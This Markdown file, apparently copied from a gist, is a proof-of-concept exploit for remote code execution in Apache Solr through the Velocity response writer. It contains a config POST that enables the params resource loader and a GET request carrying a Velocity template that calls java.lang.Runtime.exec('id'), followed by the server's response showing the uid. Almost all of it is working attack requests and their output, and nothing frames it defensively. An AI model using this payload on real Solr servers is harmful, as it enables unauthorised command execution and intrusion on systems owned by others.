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44 lines
1.6 KiB
Markdown
44 lines
1.6 KiB
Markdown
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```
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Apache Solr RCE via Velocity template
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Set "params.resource.loader.enabled" as true.
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Request:
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========================================================================
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POST /solr/test/config HTTP/1.1
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Host: solr:8983
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Content-Type: application/json
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Content-Length: 259
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{
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"update-queryresponsewriter": {
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"startup": "lazy",
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"name": "velocity",
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"class": "solr.VelocityResponseWriter",
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"template.base.dir": "",
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"solr.resource.loader.enabled": "true",
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"params.resource.loader.enabled": "true"
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}
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}
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========================================================================
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RCE via velocity template
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Request:
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========================================================================
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GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
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Host: localhost:8983
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========================================================================
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Response:
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========================================================================
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HTTP/1.1 200 OK
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Content-Type: text/html;charset=utf-8
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Content-Length: 56
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0 uid=8983(solr) gid=8983(solr) groups=8983(solr)
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========================================================================
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```
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> from : https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
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